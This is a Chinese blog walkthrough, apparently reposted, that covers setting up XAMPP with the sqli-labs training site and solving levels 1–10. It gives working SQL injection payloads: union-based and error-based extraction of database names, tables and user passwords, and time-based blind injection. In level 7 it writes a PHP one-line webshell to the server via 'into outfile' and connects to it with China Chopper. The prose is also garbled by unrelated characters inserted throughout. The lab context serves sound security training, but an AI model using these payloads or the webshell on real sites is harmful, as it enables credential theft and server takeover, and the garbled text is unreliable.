轉載自https://www.cnblogs.com/sylarinfo/p/3456445.html
https://blog.csdn.net/sdb5858874/article/details/80727555
# xampp要下載php版本小于7的因為sqli-labs是php5寫的
搭建服務器環(huán)境
1.下載xampp包
地址:http://www.apachefriends.org/zh_cn/xampp.html
? 很多人覺得安裝服務器是件不容易的事彬祖,特別是要想添加MySql, PHP組件姐呐,并且要配置起來讓它們能夠工作就更難了聚至。這里介紹一個好用的軟件xampp化戳,他已經把所有的工作做完了宜雀,你要做的只需下載切平,解壓縮,啟動即可辐董。它有提供各種操作系統(tǒng)的版本悴品,同時也提供安裝版和便攜綠色版
2.使用xampp
? 將下載的壓縮包解壓至D盤(你也可以放到你喜歡的地方,路徑最好沒有空格)简烘,雙擊xampp-control.exe啟動控制臺
? 點擊start啟動apache和mysql
? 這時可以看到啟動的信息和端口苔严。如果在你的電腦中無法啟動apache服務,首先檢查一下是不是端口有跟別的軟件有沖突孤澎,如果是的話届氢,可以修改httpd-ssl.conf里的 Listen 446,避免沖突
確認apache和mysql都成功啟動之后覆旭,瀏覽器中輸入http://localhost:446/xampp/(注意端口號)可看到如下圖即證明安裝成功
安裝sql注入實驗網站
? 下面是sql注入環(huán)境的搭建
1. 下載sql實驗環(huán)境
? 所用環(huán)境的代碼是一個印度人的開源項目平臺退子。里面包含了基本的各種注入類型,同時又有get和post類型型将,以及一些基本的繞過學習寂祥。
下載地址:https://github.com/Audi-1/sqli-labs
2. 安裝
? 將下載好的源代碼包解壓到xampp目錄下的\htdocs文件夾,重命名為sqli-labs七兜。然后編輯sql-connections文件夾下的db-creds.inc文件配置數(shù)據(jù)庫丸凭。xampp 自帶的mysql默認用戶名是root,密碼為空。
打開瀏覽器鏈接http://localhost:446/sqli-labs/惜犀,點擊網頁上的Setup/reset Database for labs铛碑,將數(shù)據(jù)庫建起來了之后就可以使用。在實驗過程中可能會破壞數(shù)據(jù)庫完整性向拆,也可以點擊這個恢復初始數(shù)據(jù)亚茬。
3.如何使用(以第一課為例)
點擊第一課Less-1
這個是基于get的頁面,我們直接在鏈接后跟?id=1 看效果
可以看的有數(shù)據(jù)返回了浓恳。然后嘗試下 ?id=\ 很明顯沒有對數(shù)據(jù)庫錯誤回顯進行處理。這是最基本的一個例子碗暗,大家可以嘗試更高級的例子
sqli-labs闖關指南 1—10 - 18年3月萌新白帽子 - CSDN博客
Original:?blog.csdn.net
如果你是使用的phpstudy颈将,請務必將sql的版本調到5.5以上,因為這樣你的數(shù)據(jù)庫內才會有information_schema數(shù)據(jù)庫言疗,方便進行實驗測試晴圾。
另外-- (這里有一個空格,--空格)在SQL內表示注釋噪奄,但在URL中死姚,如果在最后加上-- ,瀏覽器在發(fā)送請求的時候會把URL末尾的空格舍去勤篮,所以我們用--+代替-- 都毒,原因是+在URL被URL編碼后會變成空格。
第一關
1.經過語句and 1=2測試 碰缔,頁面回顯正常账劲,所以該地方不是數(shù)值查詢
2.接著嘗試在id后面加上',發(fā)現(xiàn)頁面回顯不正常金抡,表示可能存在SQL字符注入
3.輸入--+將sql后面的語句注視掉后瀑焦,發(fā)現(xiàn)頁面回顯正常,則證明這個地方是單引號字符型注入
4.接著使用order by 語句判斷梗肝,該表中一共有幾列數(shù)據(jù)
? order by 3頁面回顯正常榛瓮,order by 4頁面回顯不正常,說明此表一個有3列巫击。
5.將id=1改為一個數(shù)據(jù)庫不存在的id值禀晓,如861,使用union select 1,2,3聯(lián)合查詢語句查看頁面是否有顯示位喘鸟。
發(fā)現(xiàn)頁面先輸出了2和3匆绣,說明頁面有2個顯示位
6.然后利用sql查詢語句依次爆破出數(shù)據(jù)庫內的數(shù)據(jù)庫名,表名什黑,列名崎淳,字段信息
例子:
http://127.0.0.1/sqli-labs/Less-1/?id=861' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
這是一個查詢數(shù)據(jù)庫名信息的語句
查詢security內的所有表名
http://127.0.0.1/sqli-labs/Less-1/?id=861' union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema='security')--+
接著使用下面的語句爆破出列名
select group_concat(column_name) from information_schema.columns where table_name='users'
接著使用如下語句查詢所有的用戶名,密碼
lesect group_concat(password) from security.users
lesect group_concat(username) from security.users
第二關愕把、
1.輸入?id=2-1頁面信息發(fā)生變化拣凹,說明此處是數(shù)值型注入
2.order by 3? 頁面顯示正常森爽,order by 4頁面顯示不正常,所以該表有3列數(shù)據(jù)
接著可以使用聯(lián)合查詢進行注入嚣镜,詳細過程參考第一關
第三關爬迟、
1.向頁面輸入?id=2'??--+頁面顯示不正常,
但是輸入? ?id=2') --+ 頁面回顯正常菊匿,說明此處是字符型注入,而且是以 ('')的方式閉合字符串的
2.接著使用order by 判斷表中有3列數(shù)據(jù)
3.接著使用聯(lián)合查詢付呕,union select 1,2跌捆,3 判斷頁面是否有顯示位? ?答案:有
下面使用第一關所使用的查詢語句徽职,測試一下
頁面顯示沒有問題
第四關、
與第三關類似佩厚,第四關使用? ?("")? ?的方式閉合字符串姆钉,然后可以優(yōu)先使用聯(lián)合查詢注入
1.當輸入?id=3" --+時,頁面顯示不正常
2.當輸入?id=3") --+
第五關抄瓦、
1.經錯測試發(fā)現(xiàn)潮瓶,當輸入?id=3時頁面顯示正常,具體如下
當輸入?id=486頁面顯示如下
說明頁面沒有顯示位钙姊。無法使用聯(lián)合查詢注入
2.接著我們嘗試在URL中輸入? ?id=2' 頁面出現(xiàn)錯誤語句如下
頁面出現(xiàn)SQL語句報錯毯辅,在這里我們就可以使用一種新的注入方式:報錯注入
首先介紹三種報錯注入常用的語句:
(1). 通過floor報錯
and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a)
其中payload為你要插入的SQL語句
需要注意的是該語句將?輸出字符長度限制為64個字符
(2). 通過updatexml報錯
and updatexml(1,payload,1)
同樣該語句對輸出的字符長度也做了限制,其最長輸出32位
并且該語句對payload的反悔類型也做了限制摸恍,只有在payload返回的不是xml格式才會生效
(3). 通過ExtractValue報錯
and extractvalue(1,?payload)
輸出字符有長度限制悉罕,最長32位。
payload即我們要輸入的sql查詢語句
3.在這里我們使用floor報錯語句進行注入
?id=2' and (select 1 from (select count(*),concat(((select group_concat(schema_name) from information_schema.schemata)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
這里發(fā)現(xiàn)頁面提示我輸出信息超過一行立镶,但我們已經使用了group_concat函數(shù)壁袄,說明這里數(shù)據(jù)庫名組成的字符串長度超過了64位,所以我們需要放棄group_concat函數(shù)媚媒,而使用limit 0,1來一個個輸出
group_concat()函數(shù)的作用:將返回信息拼接成一行顯示
limit 0,1? 表示輸出第一個數(shù)據(jù)嗜逻。? ?0表示輸出的起始位置,1表示跨度為1(即輸出幾個數(shù)據(jù)缭召,1表示輸出一個栈顷,2就表示輸出兩個)
接著我們運用如下語句:
and (select 1 from (select count(*),concat(((select schema_name from information_schema.schemata limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
需要注意的是,此時數(shù)據(jù)庫名并不是 information_schema1
這個1是floor報錯語句中輸出的也一部分(無論輸出什么結果嵌巷,都會有這個1)
為了防止某些時候萄凤,我們誤以為這個1也是我們查詢結果的一部分,我建議大家使用一個搪哪;與它分開靡努,語句如下:
?id=2' and (select 1 from (select count(*),concat(((select concat(schema_name,';') from information_schema.schemata limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
下面我們更該我們的payload一個個的查詢我們要找的數(shù)據(jù)即可,這里不再演示
第六關、
與第5關類似惑朦,只不過這一關使用的是? ""的方式閉合字符串
我們只需要將?id=2' 改為 ?id=2"即可
其余過程不再贅述兽泄,請參考第五關
第七關、
想了一下漾月,可能會有很多小白和我一樣病梢,對數(shù)據(jù)庫file權限和 into outfile這個命令比較陌生,所以在這里科普一下file權限和into outfile這個函數(shù)梁肿。
數(shù)據(jù)庫的file權限規(guī)定了數(shù)據(jù)庫用戶是否有權限向操作系統(tǒng)內寫入和讀取已存在的權限
into outfile命令使用的環(huán)境:
我們必須知道蜓陌,服務器上一個可以寫入文件的文件夾的完整路徑
1.我們正常輸入?id=1頁面回顯如下
2.當我們輸入 and 1=2 頁面顯示依然正常,說明不是數(shù)值型注入
3.當我們輸入?id=1'頁面報錯吩蔑,說明可能存在"注入
4..當我們輸入?id=1' --+頁面顯示依然不正常
5.接著我們嘗試?id=1') --+护奈,頁面依然顯示不正常,有點難受哥纫,不過沒關系
6.我們可以接著輸入?id=5'))??--+嘗試,發(fā)現(xiàn)頁面回顯正常
7. 由于本關卡提示我們使用file權限向服務器寫入文件痴奏,我們就先嘗試下寫數(shù)據(jù)
由于我用的是phpstudy搭建的環(huán)境蛀骇,所以我直接在我本機取一個目錄就好
C:\phpStudy\PHPTutorial\MySQL\data
然后使用union select 1,2,3 into outfile "C:\phpStudy\PHPTutorial\MySQL\data\chao.php" 嘗試寫入文件。
然后去本機文件夾下查看文件是否寫入成功读拆。
寫入成功了擅憔,但是文件名變成了如圖紅色表示的那樣!檐晕!
接著我進行了好多次嘗試暑诸,最后被同學告知,需要使用\\來代替目錄中的\ 辟灰,具體原因我也不知道个榕,后續(xù)會補上。? 命令如下:
union select 1,2,3 into outfile "C:\\phpStudy\\PHPTutorial\\MySQL\\data\\chao.php"
文件導入成功!芥喇,接著我們查看chao.php的內容
需要注意的是利用數(shù)據(jù)庫file權限向操作系統(tǒng)寫入文件時西采,?對于相同文件名的文件不能覆蓋,所以如果第一次上傳chao.php继控,下次在上傳chao.php械馆,就是無效命令了,也就是新的chao,php中的內容并不會覆蓋武通,之前的chao.php
我們再嘗試上傳一句話木馬霹崎,具體命令
?id=-1'))??union select 1,"<?php @eval($_POST['chopper']);?>",3 into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\123456.php" --+
接著試著訪問一下這個文件
上傳成功,使用菜刀鏈接下
連接成功R背馈N补健!!
第八關错沽、
1.?id=2' --+ 頁面回顯正常簿晓,不贅述了,這里是單引號字符型注入
2.頁面沒有顯示位千埃,沒有數(shù)據(jù)庫報錯信息憔儿。
我們先嘗試一下是否有file權限
http://127.0.0.1/sqli-labs/Less-8/?id=2' union select 1,2,3 into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\88888.php"--+
上傳成功
當然我嘗試下了下布爾和時間盲注,都是可以的
第九關放可、
這里我們嘗試使用單引號和雙引號閉合谒臼,發(fā)現(xiàn)頁面回顯一直正常,說明該關卡可能將我們的單雙引號給退意了耀里。
但是我輸入%df之后頁面回顯依然正常蜈缤,這個時候我覺得應該是無論我輸入什么頁面回顯都是一樣的。所以我嘗試使用sleep()函數(shù)來測試
經過多次嘗試冯挎,這里是單引號閉合的時間注入
' and sleep(5)
第十關底哥、
基于雙引號的時間注入
?id=2" and sleep(5) --+
這里我就不在一個一個字母的去測試了,大家了解一下時間盲注就好